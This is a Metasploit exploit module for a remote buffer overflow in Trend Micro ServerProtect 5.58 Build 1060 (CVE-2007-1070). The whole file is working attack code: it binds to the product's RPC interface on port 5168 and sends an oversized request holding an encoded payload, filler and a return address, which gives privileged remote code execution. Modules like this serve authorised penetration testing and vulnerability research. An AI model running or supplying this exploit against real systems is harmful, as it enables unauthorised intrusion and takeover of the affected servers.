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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::DCERPC
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Trend Micro ServerProtect 5.58 Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
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          By sending a specially crafted RPC request, an attacker could overflow the
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          buffer and execute arbitrary code.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2007-1070'],
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          ['OSVDB', '33042'],
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          ['BID', '22639'],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 800,
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          'BadChars' => "\x00",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x6563124c } ], # CALL EBX - StCommon.dll
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2007-02-20',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([ Opt::RPORT(5168) ])
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  end
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  def exploit
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    connect
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    handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    filler = payload.encoded + rand_text_english(1600 - payload.encoded.length) + [target.ret].pack('V')
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    len = filler.length
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    # CMON_NetTestConnection
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    sploit = NDR.long(0x000a0017) + NDR.long(len) + filler + NDR.long(0)
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    print_status("Trying target #{target.name}...")
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    begin
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      dcerpc_call(0, sploit)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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    end
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    handler
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    disconnect
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  end
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end
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